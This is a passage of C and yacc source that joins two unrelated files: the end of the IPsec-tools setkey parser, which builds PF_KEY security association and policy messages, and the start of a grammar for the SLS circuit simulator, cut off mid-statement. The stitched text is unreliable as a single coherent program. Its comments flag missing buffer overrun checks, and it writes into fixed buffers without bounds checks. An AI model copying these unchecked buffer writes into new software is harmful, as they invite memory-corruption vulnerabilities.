SADB_EXT_ADDRESS_SRC; m_addr.sadb_address_proto = upper; m_addr.sadb_address_prefixlen = (splen >= 0 ? splen : plen); m_addr.sadb_address_reserved = 0; setvarbuf(buf, &l, (struct sadb_ext *)&m_addr, sizeof(m_addr), (caddr_t)sa, salen); /* set dst */ sa = d->ai_addr; salen = sysdep_sa_len(d->ai_addr); m_addr.sadb_address_len = PFKEY_UNIT64(sizeof(m_addr) + PFKEY_ALIGN8(salen)); m_addr.sadb_address_exttype = SADB_EXT_ADDRESS_DST; m_addr.sadb_address_proto = upper; m_addr.sadb_address_prefixlen = (dplen >= 0 ? dplen : plen); m_addr.sadb_address_reserved = 0; setvarbuf(buf, &l, (struct sadb_ext *)&m_addr, sizeof(m_addr), sa, salen); #ifdef SADB_X_EXT_SEC_CTX /* Add security context label */ if (sec_ctx.doi) { struct sadb_x_sec_ctx m_sec_ctx; u_int slen = sizeof(struct sadb_x_sec_ctx); memset(&m_sec_ctx, 0, slen); m_sec_ctx.sadb_x_sec_len = PFKEY_UNIT64(slen + PFKEY_ALIGN8(sec_ctx.len)); m_sec_ctx.sadb_x_sec_exttype = SADB_X_EXT_SEC_CTX; m_sec_ctx.sadb_x_ctx_len = sec_ctx.len;/*bytes*/ m_sec_ctx.sadb_x_ctx_doi = sec_ctx.doi; m_sec_ctx.sadb_x_ctx_alg = sec_ctx.alg; setvarbuf(buf, &l, (struct sadb_ext *)&m_sec_ctx, slen, (caddr_t)sec_ctx.buf, sec_ctx.len); } #endif msg->sadb_msg_len = PFKEY_UNIT64(l); sendkeymsg(buf, l); #ifdef HAVE_POLICY_FWD /* create extra call for FWD policy */ if (f_rfcmode && sp->sadb_x_policy_dir == IPSEC_DIR_INBOUND) { sp->sadb_x_policy_dir = IPSEC_DIR_FWD; ps = (struct sadb_x_ipsecrequest*) (sp+1); /* if request level is unique, change it to * require for fwd policy */ /* XXX: currently, only first policy is updated * only. Update following too... */ saved_level = ps->sadb_x_ipsecrequest_level; if (saved_level == IPSEC_LEVEL_UNIQUE) { saved_id = ps->sadb_x_ipsecrequest_reqid; ps->sadb_x_ipsecrequest_reqid=0; ps->sadb_x_ipsecrequest_level=IPSEC_LEVEL_REQUIRE; } sendkeymsg(buf, l); /* restoring for next message */ sp->sadb_x_policy_dir = IPSEC_DIR_INBOUND; if (saved_level == IPSEC_LEVEL_UNIQUE) { ps->sadb_x_ipsecrequest_reqid = saved_id; ps->sadb_x_ipsecrequest_level = saved_level; } } #endif n++; } } if (n == 0) return -1; else return 0; } static int setkeymsg_spdaddr_tag(type, tag, policy) unsigned int type; char *tag; vchar_t *policy; { struct sadb_msg *msg; char buf[BUFSIZ]; int l; #ifdef SADB_X_EXT_TAG struct sadb_x_tag m_tag; #endif msg = (struct sadb_msg *)buf; /* fix up length afterwards */ setkeymsg0(msg, type, SADB_SATYPE_UNSPEC, 0); l = sizeof(struct sadb_msg); memcpy(buf + l, policy->buf, policy->len); l += policy->len; #ifdef SADB_X_EXT_TAG memset(&m_tag, 0, sizeof(m_tag)); m_tag.sadb_x_tag_len = PFKEY_UNIT64(sizeof(m_tag)); m_tag.sadb_x_tag_exttype = SADB_X_EXT_TAG; if (strlcpy(m_tag.sadb_x_tag_name, tag, sizeof(m_tag.sadb_x_tag_name)) >= sizeof(m_tag.sadb_x_tag_name)) return -1; memcpy(buf + l, &m_tag, sizeof(m_tag)); l += sizeof(m_tag); #endif msg->sadb_msg_len = PFKEY_UNIT64(l); sendkeymsg(buf, l); return 0; } /* XXX NO BUFFER OVERRUN CHECK! BAD BAD! */ static int setkeymsg_addr(type, satype, srcs, dsts, no_spi) unsigned int type; unsigned int satype; struct addrinfo *srcs; struct addrinfo *dsts; int no_spi; { struct sadb_msg *msg; char buf[BUFSIZ]; int l, l0, len; struct sadb_sa m_sa; struct sadb_x_sa2 m_sa2; struct sadb_address m_addr; struct addrinfo *s, *d; int n; int plen; struct sockaddr *sa; int salen; msg = (struct sadb_msg *)buf; if (!srcs || !dsts) return -1; /* fix up length afterwards */ setkeymsg0(msg, type, satype, 0); l = sizeof(struct sadb_msg); if (!no_spi) { len = sizeof(struct sadb_sa); m_sa.sadb_sa_len = PFKEY_UNIT64(len); m_sa.sadb_sa_exttype = SADB_EXT_SA; m_sa.sadb_sa_spi = htonl(p_spi); m_sa.sadb_sa_replay = p_replay; m_sa.sadb_sa_state = 0; m_sa.sadb_sa_auth = p_alg_auth; m_sa.sadb_sa_encrypt = p_alg_enc; m_sa.sadb_sa_flags = p_ext; memcpy(buf + l, &m_sa, len); l += len; len = sizeof(struct sadb_x_sa2); m_sa2.sadb_x_sa2_len = PFKEY_UNIT64(len); m_sa2.sadb_x_sa2_exttype = SADB_X_EXT_SA2; m_sa2.sadb_x_sa2_mode = p_mode; m_sa2.sadb_x_sa2_reqid = p_reqid; memcpy(buf + l, &m_sa2, len); l += len; } l0 = l; n = 0; /* do it for all src/dst pairs */ for (s = srcs; s; s = s->ai_next) { for (d = dsts; d; d = d->ai_next) { /* rewind pointer */ l = l0; if (s->ai_addr->sa_family != d->ai_addr->sa_family) continue; switch (s->ai_addr->sa_family) { case AF_INET: plen = sizeof(struct in_addr) << 3; break; #ifdef INET6 case AF_INET6: plen = sizeof(struct in6_addr) << 3; break; #endif default: continue; } /* set src */ sa = s->ai_addr; salen = sysdep_sa_len(s->ai_addr); m_addr.sadb_address_len = PFKEY_UNIT64(sizeof(m_addr) + PFKEY_ALIGN8(salen)); m_addr.sadb_address_exttype = SADB_EXT_ADDRESS_SRC; m_addr.sadb_address_proto = IPSEC_ULPROTO_ANY; m_addr.sadb_address_prefixlen = plen; m_addr.sadb_address_reserved = 0; setvarbuf(buf, &l, (struct sadb_ext *)&m_addr, sizeof(m_addr), sa, salen); /* set dst */ sa = d->ai_addr; salen = sysdep_sa_len(d->ai_addr); m_addr.sadb_address_len = PFKEY_UNIT64(sizeof(m_addr) + PFKEY_ALIGN8(salen)); m_addr.sadb_address_exttype = SADB_EXT_ADDRESS_DST; m_addr.sadb_address_proto = IPSEC_ULPROTO_ANY; m_addr.sadb_address_prefixlen = plen; m_addr.sadb_address_reserved = 0; setvarbuf(buf, &l, (struct sadb_ext *)&m_addr, sizeof(m_addr), sa, salen); msg->sadb_msg_len = PFKEY_UNIT64(l); sendkeymsg(buf, l); n++; } } if (n == 0) return -1; else return 0; } #ifdef SADB_X_EXT_NAT_T_TYPE static u_int16_t get_port (struct addrinfo *addr) { struct sockaddr *s = addr->ai_addr; u_int16_t port = 0; switch (s->sa_family) { case AF_INET: { struct sockaddr_in *sin4 = (struct sockaddr_in *)s; port = ntohs(sin4->sin_port); break; } case AF_INET6: { struct sockaddr_in6 *sin6 = (struct sockaddr_in6 *)s; port = ntohs(sin6->sin6_port); break; } } if (port == 0) port = DEFAULT_NATT_PORT; return port; } #endif /* XXX NO BUFFER OVERRUN CHECK! BAD BAD! */ static int setkeymsg_add(type, satype, srcs, dsts) unsigned int type; unsigned int satype; struct addrinfo *srcs; struct addrinfo *dsts; { struct sadb_msg *msg; char buf[BUFSIZ]; int l, l0, len; struct sadb_sa m_sa; struct sadb_x_sa2 m_sa2; struct sadb_address m_addr; struct addrinfo *s, *d; int n; int plen; struct sockaddr *sa; int salen; msg = (struct sadb_msg *)buf; if (!srcs || !dsts) return -1; /* fix up length afterwards */ setkeymsg0(msg, type, satype, 0); l = sizeof(struct sadb_msg); /* set encryption algorithm, if present. */ if (satype != SADB_X_SATYPE_IPCOMP && p_key_enc) { union { struct sadb_key key; struct sadb_ext ext; } m; m.key.sadb_key_len = PFKEY_UNIT64(sizeof(m.key) + PFKEY_ALIGN8(p_key_enc_len)); m.key.sadb_key_exttype = SADB_EXT_KEY_ENCRYPT; m.key.sadb_key_bits = p_key_enc_len * 8; m.key.sadb_key_reserved = 0; setvarbuf(buf, &l, &m.ext, sizeof(m.key), p_key_enc, p_key_enc_len); } /* set authentication algorithm, if present. */ if (p_key_auth) { union { struct sadb_key key; struct sadb_ext ext; } m; m.key.sadb_key_len = PFKEY_UNIT64(sizeof(m.key) + PFKEY_ALIGN8(p_key_auth_len)); m.key.sadb_key_exttype = SADB_EXT_KEY_AUTH; m.key.sadb_key_bits = p_key_auth_len * 8; m.key.sadb_key_reserved = 0; setvarbuf(buf, &l, &m.ext, sizeof(m.key), p_key_auth, p_key_auth_len); } /* set lifetime for HARD */ if (p_lt_hard != 0 || p_lb_hard != 0) { struct sadb_lifetime m_lt; u_int slen = sizeof(struct sadb_lifetime); m_lt.sadb_lifetime_len = PFKEY_UNIT64(slen); m_lt.sadb_lifetime_exttype = SADB_EXT_LIFETIME_HARD; m_lt.sadb_lifetime_allocations = 0; m_lt.sadb_lifetime_bytes = p_lb_hard; m_lt.sadb_lifetime_addtime = p_lt_hard; m_lt.sadb_lifetime_usetime = 0; memcpy(buf + l, &m_lt, slen); l += slen; } /* set lifetime for SOFT */ if (p_lt_soft != 0 || p_lb_soft != 0) { struct sadb_lifetime m_lt; u_int slen = sizeof(struct sadb_lifetime); m_lt.sadb_lifetime_len = PFKEY_UNIT64(slen); m_lt.sadb_lifetime_exttype = SADB_EXT_LIFETIME_SOFT; m_lt.sadb_lifetime_allocations = 0; m_lt.sadb_lifetime_bytes = p_lb_soft; m_lt.sadb_lifetime_addtime = p_lt_soft; m_lt.sadb_lifetime_usetime = 0; memcpy(buf + l, &m_lt, slen); l += slen; } #ifdef SADB_X_EXT_SEC_CTX /* Add security context label */ if (sec_ctx.doi) { struct sadb_x_sec_ctx m_sec_ctx; u_int slen = sizeof(struct sadb_x_sec_ctx); memset(&m_sec_ctx, 0, slen); m_sec_ctx.sadb_x_sec_len = PFKEY_UNIT64(slen + PFKEY_ALIGN8(sec_ctx.len)); m_sec_ctx.sadb_x_sec_exttype = SADB_X_EXT_SEC_CTX; m_sec_ctx.sadb_x_ctx_len = sec_ctx.len; /* bytes */ m_sec_ctx.sadb_x_ctx_doi = sec_ctx.doi; m_sec_ctx.sadb_x_ctx_alg = sec_ctx.alg; setvarbuf(buf, &l, (struct sadb_ext *)&m_sec_ctx, slen, (caddr_t)sec_ctx.buf, sec_ctx.len); } #endif len = sizeof(struct sadb_sa); m_sa.sadb_sa_len = PFKEY_UNIT64(len); m_sa.sadb_sa_exttype = SADB_EXT_SA; m_sa.sadb_sa_spi = htonl(p_spi); m_sa.sadb_sa_replay = p_replay; m_sa.sadb_sa_state = 0; m_sa.sadb_sa_auth = p_alg_auth; m_sa.sadb_sa_encrypt = p_alg_enc; m_sa.sadb_sa_flags = p_ext; memcpy(buf + l, &m_sa, len); l += len; len = sizeof(struct sadb_x_sa2); m_sa2.sadb_x_sa2_len = PFKEY_UNIT64(len); m_sa2.sadb_x_sa2_exttype = SADB_X_EXT_SA2; m_sa2.sadb_x_sa2_mode = p_mode; m_sa2.sadb_x_sa2_reqid = p_reqid; memcpy(buf + l, &m_sa2, len); l += len; #ifdef SADB_X_EXT_NAT_T_TYPE if (p_natt_type) { struct sadb_x_nat_t_type natt_type; len = sizeof(struct sadb_x_nat_t_type); memset(&natt_type, 0, len); natt_type.sadb_x_nat_t_type_len = PFKEY_UNIT64(len); natt_type.sadb_x_nat_t_type_exttype = SADB_X_EXT_NAT_T_TYPE; natt_type.sadb_x_nat_t_type_type = p_natt_type; memcpy(buf + l, &natt_type, len); l += len; if (p_natt_oa) { sa = p_natt_oa->ai_addr; switch (sa->sa_family) { case AF_INET: plen = sizeof(struct in_addr) << 3; break; #ifdef INET6 case AF_INET6: plen = sizeof(struct in6_addr) << 3; break; #endif default: return -1; } salen = sysdep_sa_len(sa); m_addr.sadb_address_len = PFKEY_UNIT64(sizeof(m_addr) + PFKEY_ALIGN8(salen)); m_addr.sadb_address_exttype = SADB_X_EXT_NAT_T_OA; m_addr.sadb_address_proto = IPSEC_ULPROTO_ANY; m_addr.sadb_address_prefixlen = plen; m_addr.sadb_address_reserved = 0; setvarbuf(buf, &l, (struct sadb_ext *)&m_addr, sizeof(m_addr), sa, salen); } } #endif l0 = l; n = 0; /* do it for all src/dst pairs */ for (s = srcs; s; s = s->ai_next) { for (d = dsts; d; d = d->ai_next) { /* rewind pointer */ l = l0; if (s->ai_addr->sa_family != d->ai_addr->sa_family) continue; switch (s->ai_addr->sa_family) { case AF_INET: plen = sizeof(struct in_addr) << 3; break; #ifdef INET6 case AF_INET6: plen = sizeof(struct in6_addr) << 3; break; #endif default: continue; } /* set src */ sa = s->ai_addr; salen = sysdep_sa_len(s->ai_addr); m_addr.sadb_address_len = PFKEY_UNIT64(sizeof(m_addr) + PFKEY_ALIGN8(salen)); m_addr.sadb_address_exttype = SADB_EXT_ADDRESS_SRC; m_addr.sadb_address_proto = IPSEC_ULPROTO_ANY; m_addr.sadb_address_prefixlen = plen; m_addr.sadb_address_reserved = 0; setvarbuf(buf, &l, (struct sadb_ext *)&m_addr, sizeof(m_addr), sa, salen); /* set dst */ sa = d->ai_addr; salen = sysdep_sa_len(d->ai_addr); m_addr.sadb_address_len = PFKEY_UNIT64(sizeof(m_addr) + PFKEY_ALIGN8(salen)); m_addr.sadb_address_exttype = SADB_EXT_ADDRESS_DST; m_addr.sadb_address_proto = IPSEC_ULPROTO_ANY; m_addr.sadb_address_prefixlen = plen; m_addr.sadb_address_reserved = 0; setvarbuf(buf, &l, (struct sadb_ext *)&m_addr, sizeof(m_addr), sa, salen); #ifdef SADB_X_EXT_NAT_T_TYPE if (p_natt_type) { struct sadb_x_nat_t_port natt_port; /* NATT_SPORT */ len = sizeof(struct sadb_x_nat_t_port); memset(&natt_port, 0, len); natt_port.sadb_x_nat_t_port_len = PFKEY_UNIT64(len); natt_port.sadb_x_nat_t_port_exttype = SADB_X_EXT_NAT_T_SPORT; natt_port.sadb_x_nat_t_port_port = htons(get_port(s)); memcpy(buf + l, &natt_port, len); l += len; /* NATT_DPORT */ natt_port.sadb_x_nat_t_port_exttype = SADB_X_EXT_NAT_T_DPORT; natt_port.sadb_x_nat_t_port_port = htons(get_port(d)); memcpy(buf + l, &natt_port, len); l += len; #ifdef SADB_X_EXT_NAT_T_FRAG if (p_esp_frag) { struct sadb_x_nat_t_frag esp_frag; /* NATT_FRAG */ len = sizeof(struct sadb_x_nat_t_frag); memset(&esp_frag, 0, len); esp_frag.sadb_x_nat_t_frag_len = PFKEY_UNIT64(len); esp_frag.sadb_x_nat_t_frag_exttype = SADB_X_EXT_NAT_T_FRAG; esp_frag.sadb_x_nat_t_frag_fraglen = p_esp_frag; memcpy(buf + l, &esp_frag, len); l += len; } #endif } #endif msg->sadb_msg_len = PFKEY_UNIT64(l); sendkeymsg(buf, l); n++; } } if (n == 0) return -1; else return 0; } static struct addrinfo * parse_addr(host, port) char *host; char *port; { struct addrinfo hints, *res = NULL; int error; memset(&hints, 0, sizeof(hints)); hints.ai_family = p_aifamily; hints.ai_socktype = SOCK_DGRAM; /*dummy*/ hints.ai_protocol = IPPROTO_UDP; /*dummy*/ hints.ai_flags = p_aiflags; error = getaddrinfo(host, port, &hints, &res); if (error != 0) { yyerror(gai_strerror(error)); return NULL; } return res; } static int fix_portstr(ulproto, spec, sport, dport) int ulproto; vchar_t *spec, *sport, *dport; { char sp[16], dp[16]; int a, b, c, d; unsigned long u; if (spec->buf == NULL) return 0; switch (ulproto) { case IPPROTO_ICMP: case IPPROTO_ICMPV6: case IPPROTO_MH: if (sscanf(spec->buf, "%d,%d", &a, &b) == 2) { sprintf(sp, "%d", a); sprintf(dp, "%d", b); } else if (sscanf(spec->buf, "%d", &a) == 1) { sprintf(sp, "%d", a); } else { yyerror("invalid an upper layer protocol spec"); return -1; } break; case IPPROTO_GRE: if (sscanf(spec->buf, "%d.%d.%d.%d", &a, &b, &c, &d) == 4) { sprintf(sp, "%d", (a << 8) + b); sprintf(dp, "%d", (c << 8) + d); } else if (sscanf(spec->buf, "%lu", &u) == 1) { sprintf(sp, "%d", (int) (u >> 16)); sprintf(dp, "%d", (int) (u & 0xffff)); } else { yyerror("invalid an upper layer protocol spec"); return -1; } break; } free(sport->buf); sport->buf = strdup(sp); if (!sport->buf) { yyerror("insufficient memory"); return -1; } sport->len = strlen(sport->buf); free(dport->buf); dport->buf = strdup(dp); if (!dport->buf) { yyerror("insufficient memory"); return -1; } dport->len = strlen(dport->buf); return 0; } static int setvarbuf(buf, off, ebuf, elen, vbuf, vlen) char *buf; int *off; struct sadb_ext *ebuf; int elen; const void *vbuf; int vlen; { memset(buf + *off, 0, PFKEY_UNUNIT64(ebuf->sadb_ext_len)); memcpy(buf + *off, (caddr_t)ebuf, elen); memcpy(buf + *off + elen, vbuf, vlen); (*off) += PFKEY_ALIGN8(elen + vlen); return 0; } void parse_init() { p_spi = 0; p_ext = SADB_X_EXT_CYCSEQ; p_alg_enc = SADB_EALG_NONE; p_alg_auth = SADB_AALG_NONE; p_mode = IPSEC_MODE_ANY; p_reqid = 0; p_replay = 0; p_key_enc_len = p_key_auth_len = 0; p_key_enc = p_key_auth = 0; p_lt_hard = p_lt_soft = 0; p_lb_hard = p_lb_soft = 0; memset(&sec_ctx, 0, sizeof(struct security_ctx)); p_aiflags = 0; p_aifamily = PF_UNSPEC; /* Clear out any natt OA information */ if (p_natt_oa) freeaddrinfo (p_natt_oa); p_natt_oa = NULL; p_natt_type = 0; p_esp_frag = 0; return; } void free_buffer() { /* we got tons of memory leaks in the parser anyways, leave them */ return; }
%{ /* * ISC License * * Copyright (C) 1986-2018 by * <NAME> * <NAME> * <NAME> * <NAME> * Delft University of Technology * * Permission to use, copy, modify, and/or distribute this software for any * purpose with or without fee is hereby granted, provided that the above * copyright notice and this permission notice appear in all copies. * * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */ #include "src/sls/extern.h" extern void dis_addname (PATH_SPEC *path); extern int findnodes (PATH_SPEC *path, MODELCALLTABLE *mcall, int hashed, NODE_REF_LIST **return_list, int permanent); extern int *nums_of_signals (PATH_SPEC *path, RES_FILE *rf); extern void plot_addname (PATH_SPEC *path); extern RES_FILE *read_paths (FILE *fp, char *fn); extern void yy0error (char *s); extern int yy0lex (void); extern int yy0parse (void); static void cslserror (int errtype, char *s1, char *s2); static SIGNALELEMENT *copysgn (SIGNALELEMENT *sgn); static SIGNALELEMENT *read_signal (FILE *fp, char *fn, long offset, int sig_cnt, int pos); #undef MAXINT #undef MAXLONG #define MAXSTACKLENGTH 100 char name_space[128]; /* memory space for a name */ int vardummy; PATH_SPEC pathspace[MAXHIERAR]; /* memory space for paths */ PATH_SPEC * fullpath; /* first of the current full path specification */ PATH_SPEC * last_path = NULL; /* last of the current full path specification */ NODE_REF_LIST * nrl_end; /* end of the current node ref list */ int nodes_in_res_path = FALSE; /* when this variable is TRUE it indicates */ /* that nodes are being parsed which will be */ /* printed and which therefore will be in the */ /* res path */ int nodes_in_plot_path = FALSE; /* when this variable is TRUE it indicates */ /* that nodes are being parsed which will be */ /* plotted */ int nodes_in_dis_path = FALSE; /* when this variable is TRUE it indicates */ /* that nodes are being parsed whose */ /* dissipation will be plotted */ PATH_SPEC * readp_begin = NULL; /* begin of path specs of list of nodes which */ /* has to be read from res file */ PATH_SPEC * readp_end = NULL; int read_res_refs = FALSE; /* this variable is true when nodes are being */ /* parsed which has to be read from a res file */ int sigcon; /* boolean flag */ int exclam_flag = FALSE; /* an exclamation sign has been read */ int filltype; NODE_REF_LIST * freadnref; ABSTRACT_VALUE *curr_av_el; int av_cnt; int try_sta_file = 0; /* If set, try to read .sta file for extra commands */ SIGNALELEMENT * sgn; short lastval; simtime_t * len_sp; simtime_t len_stack[MAXSTACKLENGTH]; SIGNALELEMENT ** sgn_sp; SIGNALELEMENT * sgn_stack[MAXSTACKLENGTH]; #ifdef YYBISON extern char *yy0text; /* exported from LEX output */ #endif %} %union { simtime_t lval; int ival; int *pival; char *sval; char **psval; double dval; double *pdval; struct signalelement *signal; struct node_ref_list *nrl; } %token SET TILDE FROM FILL WITH PRINT PLOT_TOKEN OPTION SIMPERIOD DUMP %token AT DISSIPATION INITIALIZE SIGOFFSET RACES DEVICES STATISTICS %token ONLY CHANGES SLS_PROCESS SIGUNIT OUTUNIT OUTACC MAXPAGEWIDTH %token MAXNVICIN MAXTVICIN MAXLDEPTH VH VMAXL VMINH %token TDEVMIN TDEVMAX STEP DISPERIOD RANDOM FULL DEFINE_TOKEN %token STA_FILE TST_FILE DOT DOTDOT LPS RPS LSB RSB LCB RCB EQL MINUS %token DOLLAR COMMA SEMICOLON COLON MULT EXCLAM NEWLINE ILLCHAR %token <ival> LEVEL LOGIC_LEVEL TOGGLE %token <sval> IDENTIFIER INT STRING %token <dval> POWER_TEN F_FLO %type <lval> duration %type <ival> integer def_sig_val escape_char %type <pival> int_option toggle_option %type <dval> pow_ten f_float %type <pdval> pow_ten_option f_float_option %type <sval> member_name %type <signal> value signal_exp value_exp %type <nrl> node_refs ref_item %% sim_cmd_list : sim_cmd | sim_cmd_list eoc sim_cmd | error eoc sim_cmd { yyerrok; last_path = NULL; nodes_in_res_path = FALSE; readp_begin = NULL; readp_end = NULL; read_res_refs = FALSE; } ; sim_cmd : set_cmd | print_cmd | plot_cmd | dump_cmd | dissip_cmd | init_cmd | fill_cmd | define_cmd | option_cmd | /* empty */ ; set_cmd : SET node_refs EQL signal_exp { NODE_REF_LIST *p; FORCEDSIGNAL *fsgn; int first; PALLOC (sgn,1,SIGNALELEMENT); sgn -> sibling = *--sgn_sp; sgn -> val = lastval; sgn -> len = *len_sp; first = TRUE; p = $2; while (p) { if (p -> nx >= 0) { if (first) first = FALSE; else sgn = copysgn (sgn); if (N[p -> nx].forcedinfo) { cslserror (ERROR2, "already signal attached to node", hiername (p -> nx)); } else { PALLOC (fsgn,1,FORCEDSIGNAL); fsgn -> insignal = sgn; fsgn -> sigmult = -1; fsgn -> fox = -1; N[p -> nx].forcedinfo = fsgn; N[p -> nx].inp = TRUE; } } p = p -> next; } len_sp = len_stack; /* reset stacks for signal_exp */ sgn_sp = sgn_stack; } | SET node_refs COLON { read_res_refs = TRUE; readp_begin = NULL; } node_refs FROM STRING { NODE_REF_LIST *p; int n, pos; int * nums; int sig_cnt; long offset; char fn[256]; FILE * fp; SIGNALELEMENT * sgnel; FORCEDSIGNAL * fsgn; PATH_SPEC * readp; RES_FILE * rf; sprintf (fn, "%s.res", $7); OPENR (fp, fn); rf = read_paths (fp, fn); sig_cnt = rf -> sig_cnt; offset = rf -> offset; p = $2; readp = readp_begin; while (readp != NULL) { nums = nums_of_signals (readp, rf); for (n = 1; n <= *nums; n++, p = p -> next) { if (p == NULL) { cslserror (ERROR2, "number of left nodes smaller than", "number of right nodes"); readp = NULL; break; } if (p -> nx < 0) continue; if ((pos = nums[n]) == 0) { cslserror (ERROR2, "cannot find node in res file", NULL); continue; } else if (pos < 0) { cslserror (ERROR2, "wrong indices for node in res file", NULL); continue; } sgnel = read_signal (fp, fn, offset, sig_cnt, pos); if (N[p -> nx].funcoutp) { cslserror (ERROR2, "signal is set to function output", hiername (p -> nx)); continue; } if (N[p -> nx].forcedinfo) { cslserror (ERROR2, "already signal attached to node", hiername (p -> nx)); continue; } PALLOC (fsgn,1,FORCEDSIGNAL); fsgn -> insignal = sgnel; fsgn -> fox = -1; rewind (fp); fscanf (fp, "%e", &(fsgn -> sigmult)); N[p -> nx].forcedinfo = fsgn; N[p -> nx].inp = TRUE; } if (readp == NULL) break; readp = readp -> also; } if (p != NULL) { cslserror (ERROR2, "number of left nodes is larger than", "number of right nodes"); } CLOSE (fp); read_res_refs = FALSE; } ; signal_exp : value_exp { *++len_sp = $1 -> len; $$ = *sgn_sp++ = $1; } | signal_exp value_exp { if ($2 -> len < 0) *len_sp = -1; else *len_sp += $2 -> len; $1 -> sibling = $2; $$ = $2; } ; value_exp : value { /* default duration 1 unit */ $$ = $1; if ($1 -> child) $$ -> len = $1 -> child -> len; else $$ -> len = 1; } | value MULT duration { $$ = $1; if ($1 -> child) $$ -> len = $1 -> child -> len * $3; else $$ -> len = $3; if (sigcon && $3 < 0) sigendless = TRUE; } ; value : LOGIC_LEVEL { PALLOC ($$, 1, SIGNALELEMENT); lastval = $$ -> val = $1; sigcon = FALSE; } | LPS signal_exp RPS { PALLOC ($$, 1, SIGNALELEMENT); PALLOC ($$ -> child, 1, SIGNALELEMENT); $$ -> child -> sibling = *--sgn_sp; $$ -> val = $$ -> child -> val = lastval; $$ -> child -> len = *len_sp--; sigcon = TRUE; } ; duration : INT { $$ = atoll ($1); } | TILDE { $$ = -1; } ; print_cmd : PRINT { nodes_in_res_path = TRUE; } node_refs { int i; ABSTRACT_OUTPUT *ab_el; NODE_REF_LIST * ref_el; if (pl_begin == NULL) pl_end = pl_begin = $3; else pl_end = pl_end -> next = $3; while (pl_end) { if (pl_end -> nx >= 0) { pnodes_cnt++; if (pl_end -> nx < N_cnt) { N[ pl_end -> nx ].outp = TRUE; } else { ab_el = abstractl_begin; i = pl_end -> nx - N_cnt; while (i > 0) { ab_el = ab_el -> next; i--; } ref_el = ab_el -> inputs; while (ref_el) { N[ ref_el -> nx ].outp = TRUE; ref_el = ref_el -> next; } } } /* else it was a comma */ if (pl_end -> next == NULL) break; pl_end = pl_end -> next; } nodes_in_res_path = FALSE; } ; plot_cmd : PLOT_TOKEN { nodes_in_plot_path = TRUE; } node_refs { if (plotl_begin == NULL) plotl_end = plotl_begin = $3; else plotl_end -> next = $3; if (plotl_end) while (plotl_end -> next) plotl_end = plotl_end -> next; nodes_in_plot_path = FALSE; } ; dissip_cmd : DISSIPATION { dissip = TRUE; nodes_in_dis_path = TRUE; } dis_node_refs { nodes_in_dis_path = FALSE; } ; dis_node_refs : node_refs { if (disl_begin == NULL) { disl_end = disl_begin = $1; if (disl_end && disl_end -> nx >= 0) N[disl_end -> nx].dissip = TRUE; } else disl_end -> next = $1; if (disl_end) while (disl_end -> next) { disl_end = disl_end -> next; if (disl_end -> nx >= 0) N[disl_end -> nx].dissip = TRUE; } } | /* empty */ ; node_refs : ref_item { if ( ! read_res_refs ) { if ((nrl_end = $1)) while (nrl_end -> next) nrl_end = nrl_end -> next; $$ = $1; } } | node_refs ref_item { if ( ! read_res_refs ) { if (nrl_end) nrl_end -> next = $2; else nrl_end = $2; if (nrl_end) while (nrl_end -> next) nrl_end = nrl_end -> next; $$ = $1 ? $1 : $2; } } ; ref_item : full_node_ref { RES_PATH * rp; int num; PATH_SPEC * path; PATH_SPEC * nodepath; NODE_REF_LIST * ref_el; ABSTRACT_OUTPUT * ab_el; int n; int cnt; char nodename[DM_MAXNAME + 5]; char namebuf[DM_MAXNAME + 1]; int i; int k; int ok; if ( ! read_res_refs ) { nodepath = fullpath; while (nodepath -> next != NULL) nodepath = nodepath -> next; /* to find the node name */ if (nodepath == fullpath) sprintf (nodename, "%s", nodepath -> name); else sprintf (nodename, "-.%s", nodepath -> name); ab_el = NULL; ok = FALSE; if (nodepath == fullpath) { /* Look if the name is a defined abstract output */ ab_el = abstractl_begin; cnt = 0; while (ab_el) { if (strcmp (ab_el -> name, nodename) == 0) break; cnt++; ab_el = ab_el -> next; } if (ab_el) { /* It is an abtract output */ if (nodes_in_res_path) { PALLOC ($$, 1, NODE_REF_LIST); $$ -> nx = N_cnt + cnt; $$ -> xptr = NULL; $$ -> next = NULL; ok = TRUE; } else { cslserror (ERROR2, "inappropriate reference to variable", nodename); $$ = NULL; } } } if (ab_el == NULL) { switch (findnodes (fullpath, NULL, FALSE, &$$, TRUE)) { case NAMENEG : cslserror (ERROR2, "undefined node", nodename); break; case NOPATH : cslserror (ERROR2, "internal error", NULL); break; case NONODE : cslserror (ERROR2, "not a node is name", nodename); break; case REFIERR : cslserror (ERROR2, "incorrect indices for node", nodename); break; case REFINEG : cslserror (ERROR2, "not defined as array is node", nodename); break; case REFIMIS : cslserror (ERROR2, "indices missing for node", nodename); break; case NODETYPE : ok = TRUE; break; /* the node specification was correct */ default : cslserror (ERROR2, nodename, "is no node"); break; } } if (nodes_in_res_path && ok) { if (exclam_flag) { for (k = 0; (namebuf[k+1] = fullpath ->name[k]) != '\0' && k < DM_MAXNAME; k++) { } namebuf[0] = '!'; namebuf[k+1] = '\0'; strcpy (fullpath -> name, namebuf); ref_el = $$; while (ref_el != NULL) { n = arr_new ((char **)(void *)&prinvert); prinvert[ n ] = ref_el; ref_el = ref_el -> next; } } PALLOC (rp, 1, RES_PATH); if (rp_begin == NULL) { rp_begin = rp_end = rp; } else { rp_end -> next = rp; rp_end = rp_end -> next; } rp_end -> path = fullpath; rp_end -> next = NULL; num = 1; for (path = fullpath; path != NULL; path = path -> next) { for (i = 1; i < path -> xarray[0][0]; i++) { num = num * (path -> xarray[i][1] - path -> xarray[i][0]); } } rp_end -> totnum = num; } if (nodes_in_plot_path && ok) { for (ref_el = $$; ref_el != NULL; ref_el = ref_el ->next) { if (ref_el -> nx >= 0) { if (plotnodes_cnt < MAXPLOT) { N[ ref_el -> nx ].plot++; ++plotnodes_cnt; } else { cslserror (ERROR2, "too many nodes to be plotted", NULL); ok = FALSE; } } /* else it was a comma */ } if (ok) plot_addname (fullpath); } if (nodes_in_dis_path && ok) { dis_addname (fullpath); } if ( ! ok ) { PALLOC ($$, 1, 